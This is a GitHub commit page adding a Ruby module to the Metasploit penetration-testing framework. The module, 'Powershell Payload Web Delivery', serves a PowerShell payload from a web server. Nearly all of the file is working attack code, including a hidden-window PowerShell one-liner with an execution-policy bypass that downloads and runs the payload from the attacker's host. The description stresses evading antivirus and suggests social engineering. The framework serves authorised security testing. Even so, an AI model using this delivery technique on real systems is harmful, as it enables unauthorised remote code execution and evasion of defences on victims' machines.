Skip to content

Commit 18dbdb8

Browse files
author
jvazquez-r7
committed
Land rapid7#2133, @Meatballs1's exploit for PSH Web Delivery
2 parents 0063037 + f79d3f7 commit 18dbdb8

File tree

1 file changed

+66
-0
lines changed

1 file changed

+66
-0
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Powershell Payload Web Delivery',
18+
'Description' => %q{
19+
Quickly fires up a web server that serves the payload in powershell.
20+
The command will start powershell and then download and execute the payload.
21+
You can extract the IEX command to execute directly from powershell.
22+
The main purpose of this module is to quickly establish a session
23+
on a target machine when you have to manually type in the command yourself,
24+
e.g. RDP Session, Local Access or maybe Remote Command Exec.
25+
This does not write to disk so is unlikely to trigger AV solutions and will
26+
allow you to attempt local privilege escalations supplied by meterpreter etc.
27+
You could also try your luck with social engineering.
28+
Ensure your payload architecture matches the target computer or use SYSWOW64
29+
powershell.exe to execute x86 payloads on x64 machines.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' =>
33+
[
34+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
35+
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
36+
],
37+
'References' =>
38+
[
39+
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
40+
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
41+
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
42+
],
43+
'Platform' => 'win',
44+
'Targets' =>
45+
[
46+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
47+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Jul 19 2013'))
51+
end
52+
53+
def on_request_uri(cli, request)
54+
print_status("Delivering Payload")
55+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
56+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
57+
end
58+
59+
def primer
60+
url = get_uri()
61+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
62+
print_status("Run the following command on the target machine:")
63+
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
64+
end
65+
end
66+

0 commit comments

Comments
 (0)